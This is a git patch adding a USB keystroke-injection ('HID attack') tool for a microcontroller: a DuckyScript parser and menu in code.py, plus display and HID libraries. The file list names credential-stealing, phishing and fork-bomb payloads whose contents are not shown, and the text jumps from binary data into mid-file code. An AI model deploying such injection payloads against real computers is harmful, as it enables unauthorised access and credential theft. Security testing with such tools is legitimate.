From 137ee9ae036fe73ed4e872cbe904ac628be2e292 Mon Sep 17 00:00:00 2001 From: alexlynd <22926680+alexlynd@users.noreply.github.com> Date: Fri, 18 Mar 2022 23:08:26 -0700 Subject: [PATCH] Quick payload deploy test --- Alex-Test/boot.py | 21 ++ Alex-Test/boot_out.txt | 4 + Alex-Test/code.py | 247 ++++++++++++++++++ Alex-Test/faces/payload-finished.bmp | Bin 0 -> 1154 bytes Alex-Test/faces/payload-running.bmp | Bin 0 -> 1154 bytes Alex-Test/lib/adafruit_binascii.mpy | Bin 0 -> 1569 bytes Alex-Test/lib/adafruit_debouncer.mpy | Bin 0 -> 1175 bytes .../lib/adafruit_display_shapes/__init__.py | 0 Alex-Test/lib/adafruit_display_shapes/line.py | 52 ++++ .../lib/adafruit_display_shapes/polygon.py | 136 ++++++++++ .../lib/adafruit_display_shapes/triangle.py | 144 ++++++++++ .../lib/adafruit_display_text/__init__.mpy | Bin 0 -> 4586 bytes .../adafruit_display_text/bitmap_label.mpy | Bin 0 -> 3894 bytes Alex-Test/lib/adafruit_display_text/label.mpy | Bin 0 -> 3802 bytes Alex-Test/lib/adafruit_displayio_sh1106.py | 115 ++++++++ Alex-Test/lib/adafruit_framebuf.mpy | Bin 0 -> 4805 bytes Alex-Test/lib/adafruit_hid/__init__.mpy | Bin 0 -> 389 bytes .../lib/adafruit_hid/consumer_control.mpy | Bin 0 -> 659 bytes .../adafruit_hid/consumer_control_code.mpy | Bin 0 -> 354 bytes Alex-Test/lib/adafruit_hid/keyboard.mpy | Bin 0 -> 1190 bytes .../lib/adafruit_hid/keyboard_layout_base.mpy | Bin 0 -> 1223 bytes .../lib/adafruit_hid/keyboard_layout_us.mpy | Bin 0 -> 330 bytes Alex-Test/lib/adafruit_hid/keycode.mpy | Bin 0 -> 1764 bytes Alex-Test/lib/adafruit_hid/mouse.mpy | Bin 0 -> 843 bytes Alex-Test/lib/adafruit_requests.mpy | Bin 0 -> 7324 bytes Alex-Test/lib/ampule.py | 132 ++++++++++ Alex-Test/lib/base64.mpy | Bin 0 -> 372 bytes Alex-Test/lib/neopixel.py | 188 +++++++++++++ .../prank/PwnKit_Cred_Changer (4th copy).txt | 34 +++ .../PwnKit_Cred_Changer (another copy).txt | 34 +++ .../prank/PwnKit_Cred_Changer (copy).txt | 34 +++ .../Linux/prank/PwnKit_Cred_Changer.txt | 34 +++ Alex-Test/payloads/Linux/prank/meow.txt | 34 +++ Alex-Test/payloads/Mac/Phish/Phish.txt | 49 ++++ .../payloads/Mac/Recon/PasswordStealer.txt | 44 ++++ .../Creds/SimpleUserPasswordGrabber.txt | 96 +++++++ .../payloads/Windows/Creds/fastshutdown.txt | 7 + Alex-Test/payloads/Windows/Prank/Forkbomb.txt | 14 + Alex-Test/payloads/Windows/Prank/Notepad.txt | 7 + 39 files changed, 1426 insertions(+) create mode 100644 Alex-Test/boot.py create mode 100644 Alex-Test/boot_out.txt create mode 100644 Alex-Test/code.py create mode 100644 Alex-Test/faces/payload-finished.bmp create mode 100644 Alex-Test/faces/payload-running.bmp create mode 100644 Alex-Test/lib/adafruit_binascii.mpy create mode 100644 Alex-Test/lib/adafruit_debouncer.mpy create mode 100644 Alex-Test/lib/adafruit_display_shapes/__init__.py create mode 100644 Alex-Test/lib/adafruit_display_shapes/line.py create mode 100644 Alex-Test/lib/adafruit_display_shapes/polygon.py create mode 100644 Alex-Test/lib/adafruit_display_shapes/triangle.py create mode 100644 Alex-Test/lib/adafruit_display_text/__init__.mpy create mode 100644 Alex-Test/lib/adafruit_display_text/bitmap_label.mpy create mode 100644 Alex-Test/lib/adafruit_display_text/label.mpy create mode 100644 Alex-Test/lib/adafruit_displayio_sh1106.py create mode 100644 Alex-Test/lib/adafruit_framebuf.mpy create mode 100644 Alex-Test/lib/adafruit_hid/__init__.mpy create mode 100644 Alex-Test/lib/adafruit_hid/consumer_control.mpy create mode 100644 Alex-Test/lib/adafruit_hid/consumer_control_code.mpy create mode 100644 Alex-Test/lib/adafruit_hid/keyboard.mpy create mode 100644 Alex-Test/lib/adafruit_hid/keyboard_layout_base.mpy create mode 100644 Alex-Test/lib/adafruit_hid/keyboard_layout_us.mpy create mode 100644 Alex-Test/lib/adafruit_hid/keycode.mpy create mode 100644 Alex-Test/lib/adafruit_hid/mouse.mpy create mode 100644 Alex-Test/lib/adafruit_requests.mpy create mode 100644 Alex-Test/lib/ampule.py create mode 100644 Alex-Test/lib/base64.mpy create mode 100644 Alex-Test/lib/neopixel.py create mode 100644 Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (4th copy).txt create mode 100644 Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (another copy).txt create mode 100644 Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (copy).txt create mode 100644 Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer.txt create mode 100644 Alex-Test/payloads/Linux/prank/meow.txt create mode 100644 Alex-Test/payloads/Mac/Phish/Phish.txt create mode 100644 Alex-Test/payloads/Mac/Recon/PasswordStealer.txt create mode 100644 Alex-Test/payloads/Windows/Creds/SimpleUserPasswordGrabber.txt create mode 100644 Alex-Test/payloads/Windows/Creds/fastshutdown.txt create mode 100644 Alex-Test/payloads/Windows/Prank/Forkbomb.txt create mode 100644 Alex-Test/payloads/Windows/Prank/Notepad.txt diff --git a/Alex-Test/boot.py b/Alex-Test/boot.py new file mode 100644 index 0000000..66ea8c5 --- /dev/null +++ b/Alex-Test/boot.py @@ -0,0 +1,21 @@ +from board import * +import digitalio +import storage +import board +import time + +time.sleep(3) + +noStorageStatus = False +noStoragePin = digitalio.DigitalInOut(board.IO18) ## If the down button is pressed on the S2 Nugget +noStoragePin.switch_to_input(pull=digitalio.Pull.UP) +noStorageStatus = not noStoragePin.value + +if(noStorageStatus == True): + # don't show USB drive to host PC + storage.disable_usb_drive() + print("Disabling USB drive") +else: + # normal boot + print("USB drive enabled") +# Write your code here :-) diff --git a/Alex-Test/boot_out.txt b/Alex-Test/boot_out.txt new file mode 100644 index 0000000..c474438 --- /dev/null +++ b/Alex-Test/boot_out.txt @@ -0,0 +1,4 @@ +Adafruit CircuitPython 7.2.3 on 2022-03-16; S2Mini with ESP32S2-S2FN4R2 +Board ID:lolin_s2_mini +boot.py output: +USB drive enabled diff --git a/Alex-Test/code.py b/Alex-Test/code.py new file mode 100644 index 0000000..d9a4c45 --- /dev/null +++ b/Alex-Test/code.py @@ -0,0 +1,247 @@ +# RubberNugget HID Attack Tool +# By Kody Kinzie & Alex Lynd +# Optimized by Areza +# Forked from https://github.com/dbisu/pico-ducky + +# import libraries +import usb_hid, neopixel, board, busio, adafruit_displayio_sh1106, displayio, adafruit_framebuf, time, ssl, wifi, socketpool, ipaddress +import adafruit_requests, adafruit_requests as requests, ampule, adafruit_binascii as binascii, terminalio, base64, os +from adafruit_hid.keyboard import Keyboard +from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout +from adafruit_hid.keycode import Keycode +from digitalio import DigitalInOut, Pull +from adafruit_debouncer import Debouncer +from board import * +from adafruit_display_text import label +from adafruit_display_shapes.line import Line + + +# display config for SH1106 +displayio.release_displays() +WIDTH = 130 +HEIGHT = 64 +BORDER = 1 +i2c = busio.I2C(SCL, SDA) +display_bus = displayio.I2CDisplay(i2c, device_address=0x3c) +display = adafruit_displayio_sh1106.SH1106(display_bus, width=WIDTH, height=HEIGHT) + +# use default font & white for font +font = terminalio.FONT +color = 0xFFFFFF + + +# configure button input +pins = (board.IO9, board.IO18, board.IO11, board.IO7) +buttons = [] # will hold list of Debouncer objects +for pin in pins: # set up each pin + tmp_pin = DigitalInOut(pin) # defaults to input + tmp_pin.pull = Pull.UP # turn on internal pull-up resistor + buttons.append( Debouncer(tmp_pin) ) + +# keyboard config +kbd = Keyboard(usb_hid.devices) +layout = KeyboardLayout(kbd) + +# payload config & root dir +payloadstatus = "" +defaultDelay = 0 +path = "payloads" + + +# get pressed button +def getButtonPressed(): + for i in range(len(buttons)): + buttons[i].update() + if buttons[i].fell: + return i + return -1 + + +###### draw key map function ###### + +def drawNavMap(map_vals): + global path + map = ["UP ", "DOWN ", "LEFT ", "RIGHT"] + + #insert "back" as down value or blank values + if len(map_vals) <4: + for i in range (len(map_vals),4): + map_vals.insert(i,"") + map_vals.insert(1, "Back") + counter = 0 + navScreen = displayio.Group() + + # iterate text values and add to screen + for i in map_vals[:4]: + text_area = label.Label(font, text=map[counter]+": "+i, color=color) + text_area.x = 2 + text_area.y =3+(10*counter) + counter+=1 + navScreen.append(text_area) + + # draw stuff + navScreen.append(Line(0, 50, 127, 50, 0xFFFFFF)) + navScreen.append(Line(0, 51, 127, 51, 0xFFFFFF)) + text_area = label.Label(font, text="Dir: "+ path[path.rfind("/")+1:], color=color) + text_area.x = 2 + text_area.y =57 + navScreen.append(text_area) + display.show(navScreen) + + # update path until text file reached + currButton = -1 + while (currButton== -1): + currButton = getButtonPressed() + if("Back" in map_vals and currButton==1): + path=path[0:path.rfind("/")] + elif (map_vals[currButton]==""): + pass + else : + path+="/"+map_vals[currButton] + if (".txt" in path): + runPayload(path) + path=path[0:path.rfind("/")] + path=path[0:path.rfind("/")] + + +##### draw and execute payload ###### + +def drawPayload(status, payloadName): + + # draw Nugget to indicate status! + + if (status=="START"): + statusText = "executing" + bitmap = displayio.OnDiskBitmap("/faces/payload-running.bmp") + else: + statusText = "finished" + bitmap = displayio.OnDiskBitmap("/faces/payload-finished.bmp") + # Setup the file as the bitmap data source + tile_grid = displayio.TileGrid(bitmap, pixel_shader=bitmap.pixel_shader) + + group = displayio.Group() # Create a Group to hold the TileGrid + group.append(tile_grid) + group.append(Line(0, 50, 129, 50, 0xFFFFFF)) + group.append(Line(0, 51, 129, 51, 0xFFFFFF)) + group.append(Line(0, 11, 129, 11, 0xFFFFFF)) + group.append(Line(0, 12, 129, 12, 0xFFFFFF)) + + text = ("STATUS: "+statusText) + text_area = label.Label(font, text=text, color=color) + text_area.x = 2 + text_area.y =57 + group.append(text_area) + text = (payloadName[path.rfind("/")+1:]) + if(len(text)>21): + text = text[:18]+"..." + + text_area = label.Label(font, text=text, color=color) + text_area.x = 2 + text_area.y =3 + group.append(text_area) + display.show(group) + time.sleep(3) + +# duckyscript command map + +duckyCommands = { + 'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.GUI, + 'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT, + 'ALT': Keycode.ALT, 'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL, + 'DOWNARROW': Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW, 'LEFTARROW': Keycode.LEFT_ARROW, + 'LEFT': Keycode.LEFT_ARROW, 'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW, + 'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW, 'BREAK': Keycode.PAUSE, + 'PAUSE': Keycode.PAUSE, 'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE, + 'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE, 'HOME': Keycode.HOME, + 'INSERT': Keycode.INSERT, 'NUMLOCK': Keycode.KEYPAD_NUMLOCK, 'PAGEUP': Keycode.PAGE_UP, + 'PAGEDOWN': Keycode.PAGE_DOWN, 'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER, + 'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE, 'TAB': Keycode.TAB, + 'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D, 'E': Keycode.E, + 'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H, 'I': Keycode.I, 'J': Keycode.J, + 'K': Keycode.K, 'L': Keycode.L, 'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O, + 'P': Keycode.P, 'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T, + 'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X, 'Y': Keycode.Y, + 'Z': Keycode.Z, 'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3, + 'F4': Keycode.F4, 'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7, + 'F8': Keycode.F8, 'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11, + 'F12': Keycode.F12, +} + +###### ducky parser by @dbisu ###### + +def convertLine(line): + newline = [] + print(line) + # loop on each key - the filter removes empty values + for key in filter(None, line.split(" ")): + key = key.upper() + # find the keycode for the command in the list + command_keycode = duckyCommands.get(key, None) + if command_keycode is not None: + # if it exists in the list, use it + newline.append(command_keycode) + elif hasattr(Keycode, key): + # if it's in the Keycode module, use it (allows any valid keycode) + newline.append(getattr(Keycode, key)) + else: + # if it's not a known key name, show the error for diagnosis + print(f"Unknown key: <{key}>") + print(newline) + return newline + +def runScriptLine(line): + for k in line: + kbd.press(k) + kbd.release_all() + +def sendString(line): + layout.write(line) + +def parseLine(line): + global defaultDelay + if(line[0:3] == "REM"): + # ignore ducky script comments + pass + elif(line[0:5] == "DELAY"): + time.sleep(float(line[6:])/1000) + elif(line[0:6] == "STRING"): + sendString(line[7:]) + elif(line[0:13] == "DEFAULT_DELAY"): + defaultDelay = int(line[14:]) * 10 + elif(line[0:12] == "DEFAULTDELAY"): + defaultDelay = int(line[13:]) * 10 + else: + newScriptLine = convertLine(line) + runScriptLine(newScriptLine) + +###### payload run function ###### + +def runPayload(payloadPath): + ##startup indicator + drawPayload("START",payloadPath) + f = open(payloadPath,"r",encoding='utf-8') + previousLine = "" + duckyScript = f.readlines() + for line in duckyScript: + print(line) + line = line.rstrip() + if(line[0:6] == "REPEAT"): + for i in range(int(line[7:])): + #repeat the last command + parseLine(previousLine) + time.sleep(float(defaultDelay)/1000) + else: + parseLine(line) + previousLine = line + time.sleep(float(defaultDelay)/1000) + + ##finish indicator + drawPayload("STOP",payloadPath) + time.sleep(.5) + +while True: + # check for root payload directory + if (path!="payloads"): + drawNavMap(os.listdir(path)[:3]) # take first 3 items from list + else: + drawNavMap(os.listdir(path)) diff --git a/Alex-Test/faces/payload-finished.bmp b/Alex-Test/faces/payload-finished.bmp new file mode 100644 index 0000000000000000000000000000000000000000..6f6b8befb696e575eca37fbf88a131796a6a0c1d GIT binary patch literal 1154 zcmZ?rZDL^ngC-!E1H=tL>;S}!KnMmvd0}n{W&#R;u#3(D>jOZ-7byDS~_l1_oAS^~rzObP?Jan2VTyTO#opjTjhF z_$CaD!pQO}3=ETy`8*5^O~`y;gt#H|I~WweeuRm2Ffag(K!6Dh3>F9;12C);S}!KnMmvd0}n{W&#R;u#H6gp(bHj z`Tf50+x3{qYTLP|{>iuwKyj@<=T?^Tb5M>#NEFbI0HB_Nnm6;)Ok9W^XI7kEcn^c6n zdkA=%Ds6D^j!g_B%g0pR(4rApwgW@SvaZIWvYfd8#csz~b_Xl48(BBIiQUX@VYjl6 zvrX)_T9oGc;n3_z*}!$eCOTw-oNz0haY|X z$)}%v{>7JHef`b1tcz`6dA9NXnf#B)x)d<0_qT{0t#S)5%A#Aa6NMKd-;#T=pC_r( zR$Y(kG}H(thM-o`a7ch(J!Zt`!isxg5kt@fQ=Y4AYdu7pnetp$eB{lHRgUZah|wF> z`zau-5T-$=3A#cc-2^U!qckB9YzpQ)MaTlxD!+oU`uTty@EfXI;ENe+fcGy)dlhnp zu_GLh$BeB`XGn{O2LcWy+V3p*&e>8hphwdcY{agico>_ZU?2ysF`8RMkJP$zSKIDA z?Hx}%+1a&sU-$l=0|yUz5Bmd3Q0)zcwP%j@^+%$yXLTb!aP0Wt&N1R`}8{UVhhi`kBKsumD4 zHj=QwNi23LFPH?JQ3&Ee?06%t8+2zdxS>ytgyLZvjheXomTOW1f~LJFef`6SygF5o#=s@S|?;Ym;|`Z(<294B!#jcu)58x}i-uAyl((>0rs+mmn|H@G4Y z*RN3IwmGQ^O{9MIl;V9(Dnpm0V&uh345NLs;y$eTxTP9z7~dlhKV4;$n1>08R}vG+ z#o_sDlj()4e@7Hm9lJF%ZiS}F>}@MtOj0WXTF8yP>YYqx7m{~=pYEC! zPbRWUmkKrcdD=v1=skU$08f}Ecry*r{rbzN2BwwON{#Mc;rQ;!Wb*~`!cUvoX@ zVcDHnU=7!}i*wa&;9MK(0DA%tCbc;H_tf~vU&+O(ddTa>szsQc99y`IsgB*8nZN`s zk4|ROcW$#g=6f)^Z2HzrHhn{?MEM-?-<{p)h=y7zb=HmQ}S8a${3Dp$!nI68Gz2#)BDZ&sa0# zRBWo3LKi`my6HX=+iu4B2klR2mqkk2Z5LfosoP$AYG`LO_nvd^efOUCib7~gJJoWF zAf~Fd>VeZXJytXJ?Y5;GPP%oxr}63e^<-cXInqFB|RmPqfj%(T$ zW3!-2j5$WjW{hu-M?AA>sDw*UPLXkNC!nlCxl*14N|adBwrtO~Or2S79x5{@7k_*Y zYJB%Wabt&Vtv_Zv>qRO=1$FYn%}1NNn~xq8S&w`;1y3kw6f&vM>k{Ra=c-7>sC?B> z6(17#Y&T0Jxzt}G7gEW#PKaAL^t_h)P9{?~y~Fl?TDO~-{?3{A`pXwhM@JL3j=e)% z?5ax|i%$08DScUj3q{z-HQGsSds={2u zW3E^AjBHqqv9@)c-%#Vsv+MPS@vlHYdHqU$Q-zmQYB_exaJ=KJm?NrWTAtxNt2QW! z4q_urvJu3?RLBnCAI>Ss-ohZ_*sejt+1uUtz-Tlu9>h4_sJeK?ZKvwt%^^61pr*GS z$FQz(G;HYL#&UXjo;(#HHkGLbMeAl#4L>MbQhB|#)O&xK02c}EKq zKPDaE^Xay~f0HLLC%!`RP>OJ089&LB3f9iC-WdOb##8}-oUVQuTgF8*Q#ryyaWk|!nqCr z!qb`IXqZ0+|4DST^XB6iJ{E*uMD|V3{d8vduE;;?a$@J_->*m!i;#F45WijH<#-qW z1bo#0$uD}H#M6nDB)k;(=h}So&SGLCy_iTQQy^z@@T0E`ouVVYGM$H?USalio?Mh9 z-tlA8zCtmp++V{i8ou y1: + y0, y1 = y1, y0 + for _h in range(y0, y1 + 1): + self._bitmap[x0, _h] = color + elif y0 == y1: + if x0 > x1: + x0, x1 = x1, x0 + for _w in range(x0, x1 + 1): + self._bitmap[_w, y0] = color + else: + steep = abs(y1 - y0) > abs(x1 - x0) + if steep: + x0, y0 = y0, x0 + x1, y1 = y1, x1 + + if x0 > x1: + x0, x1 = x1, x0 + y0, y1 = y1, y0 + + dx = x1 - x0 + dy = abs(y1 - y0) + + err = dx / 2 + + if y0 < y1: + ystep = 1 + else: + ystep = -1 + + for x in range(x0, x1 + 1): + if steep: + self._bitmap[y0, x] = color + else: + self._bitmap[x, y0] = color + err -= dy + if err < 0: + y0 += ystep + err += dx + + # pylint: enable=invalid-name, too-many-locals, too-many-branches + + @property + def outline(self): + """The outline of the polygon. Can be a hex value for a color or + ``None`` for no outline.""" + return self._palette[1] + + @outline.setter + def outline(self, color): + if color is None: + self._palette[1] = 0 + self._palette.make_transparent(1) + else: + self._palette[1] = color + self._palette.make_opaque(1) diff --git a/Alex-Test/lib/adafruit_display_shapes/triangle.py b/Alex-Test/lib/adafruit_display_shapes/triangle.py new file mode 100644 index 0000000..3f3b47a --- /dev/null +++ b/Alex-Test/lib/adafruit_display_shapes/triangle.py @@ -0,0 +1,144 @@ +# SPDX-FileCopyrightText: 2019 Limor Fried for Adafruit Industries +# +# SPDX-License-Identifier: MIT + +""" +`triangle` +================================================================================ + +Various common shapes for use with displayio - Triangle shape! + + +* Author(s): Melissa LeBlanc-Williams + +Implementation Notes +-------------------- + +**Software and Dependencies:** + +* Adafruit CircuitPython firmware for the supported boards: + https://github.com/adafruit/circuitpython/releases + +""" + +from adafruit_display_shapes.polygon import Polygon + +__version__ = "0.0.0-auto.0" +__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_Display_Shapes.git" + + +class Triangle(Polygon): + # pylint: disable=too-many-arguments,invalid-name + """A triangle. + + :param x0: The x-position of the first vertex. + :param y0: The y-position of the first vertex. + :param x1: The x-position of the second vertex. + :param y1: The y-position of the second vertex. + :param x2: The x-position of the third vertex. + :param y2: The y-position of the third vertex. + :param fill: The color to fill the triangle. Can be a hex value for a color or + ``None`` for transparent. + :param outline: The outline of the triangle. Can be a hex value for a color or + ``None`` for no outline. + """ + # pylint: disable=too-many-locals + def __init__(self, x0, y0, x1, y1, x2, y2, *, fill=None, outline=None): + # Sort coordinates by Y order (y2 >= y1 >= y0) + if y0 > y1: + y0, y1 = y1, y0 + x0, x1 = x1, x0 + + if y1 > y2: + y1, y2 = y2, y1 + x1, x2 = x2, x1 + + if y0 > y1: + y0, y1 = y1, y0 + x0, x1 = x1, x0 + + # Find the largest and smallest X values to figure out width for bitmap + xs = [x0, x1, x2] + points = [(x0, y0), (x1, y1), (x2, y2)] + + # Initialize the bitmap and palette + super().__init__(points) + + if fill is not None: + self._draw_filled( + x0 - min(xs), 0, x1 - min(xs), y1 - y0, x2 - min(xs), y2 - y0 + ) + self.fill = fill + else: + self.fill = None + + if outline is not None: + self.outline = outline + for index, _ in enumerate(points): + point_a = points[index] + if index == len(points) - 1: + point_b = points[0] + else: + point_b = points[index + 1] + self._line( + point_a[0] - min(xs), + point_a[1] - y0, + point_b[0] - min(xs), + point_b[1] - y0, + 1, + ) + + # pylint: disable=invalid-name, too-many-branches + def _draw_filled(self, x0, y0, x1, y1, x2, y2): + if y0 == y2: # Handle awkward all-on-same-line case as its own thing + a = x0 + b = x0 + if x1 < a: + a = x1 + elif x1 > b: + b = x1 + + if x2 < a: + a = x2 + elif x2 > b: + b = x2 + self._line(a, y0, b, y0, 2) + return + + if y1 == y2: + last = y1 # Include y1 scanline + else: + last = y1 - 1 # Skip it + + # Upper Triangle + for y in range(y0, last + 1): + a = round(x0 + (x1 - x0) * (y - y0) / (y1 - y0)) + b = round(x0 + (x2 - x0) * (y - y0) / (y2 - y0)) + if a > b: + a, b = b, a + self._line(a, y, b, y, 2) + # Lower Triangle + for y in range(last + 1, y2 + 1): + a = round(x1 + (x2 - x1) * (y - y1) / (y2 - y1)) + b = round(x0 + (x2 - x0) * (y - y0) / (y2 - y0)) + + if a > b: + a, b = b, a + self._line(a, y, b, y, 2) + + # pylint: enable=invalid-name, too-many-locals, too-many-branches + + @property + def fill(self): + """The fill of the triangle. Can be a hex value for a color or + ``None`` for transparent.""" + return self._palette[2] + + @fill.setter + def fill(self, color): + if color is None: + self._palette[2] = 0 + self._palette.make_transparent(2) + else: + self._palette[2] = color + self._palette.make_opaque(2) diff --git a/Alex-Test/lib/adafruit_display_text/__init__.mpy b/Alex-Test/lib/adafruit_display_text/__init__.mpy new file mode 100644 index 0000000000000000000000000000000000000000..380a081c0afe6225a597ce00a517e87570a91a24 GIT binary patch literal 4586 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 OyvWiH{E0`*-2FdB0Gh=B literal 0 HcmV?d00001 diff --git a/Alex-Test/lib/adafruit_display_text/bitmap_label.mpy b/Alex-Test/lib/adafruit_display_text/bitmap_label.mpy new file mode 100644 index 0000000000000000000000000000000000000000..ac2501ca6b96934907e2bcc678a347515fcfcbdd GIT binary patch literal 3894 zcma)9-E$My72lOC%U{A*yK7nCxGX|m*)p-QV$_y&T1OV(U;-Enj%b^;EUhgCSyHs? zAPtjpMZ!#+&>7OnOlSJUL;ir3KP35kCJkVW4MY17n6~LtUfP*XM`rrazVzH(8El|U zcJy)go^#JV_nhB7_jh|uhQ0iU`~jXa9}k9uqp69gB8H=KG8W8;ij-D5N21DjFe%1@ zBT}p*nHlDBgCOnyg}*OJp*l~8r>o;h>PNW%7#QSB_$K0*vC>B)eKG~ zW0IS0s#7w_XngDyqm2$6w@^b?O8Be40tb%M)GzTs6H}fxny}FrF(=4`zMxD-x?k#= zW@ykuqZ&=uYV0=Ji~}K>mU|5LKq z$Nl9+55l55VBANiTYpBg*ITjsQ||h2-W|SnYBKceH>KfgX6ahB#7h)qr5bIpSfh>F zbH+`dRrgV}jj|5FYu!4QN(gn*=_nCvmy zoSK?Al9-5xiDV>^#$fcd3NQo72uYe8V`ANO_BE5OMjVMn6;GwjA(Bb9oAsD&jMh1t zh%26|@(anPry4vU>LbC>#jzBbObjJriIk_t)~eefVFv`Hq>uvn^wiqC;us8gKNyRK zbrd|4%2t$2C6ZD~$$08ub#*#e)DUI)F#XSKJv?P?#)C&rwVZ69=y$oOft-DpsOvD) z?^>u_17)2$JM%+2FrBk=q8xl*UuKTmLlC4dJ2)ce*cxs5UOH!|b1eV7AE@%o;EBin z28<}0qaqASNd%8lILDg1X?+yehN?(Brcf1$1W1s5d(d+1o*h9%HF78zlX5KW{g?_2 zgeZzKQIoaIQzt*K`|Jx$e_^O^#z|L;OM3N)tG)egsde;|sw>N;{va9tjDC)!(EwNHd^>u`69>@WL=tp<@brBop(u&*(mM03R&aGbtw7}$8S0|SBG8RViXuVUjjH{S%5C315HFQ& z)IJTxO^D!9$!iLb8AhPchyd}i__!2TAiVg#&kQl%B?jdX^j!VdeWrm!gVC6DEENr_ ztQFa{y(`L*U|33lO;mF!8df4%R2PxRTC#{!KwZ>&^T?*X=%Phr4@;xLi5L_IP{GKM 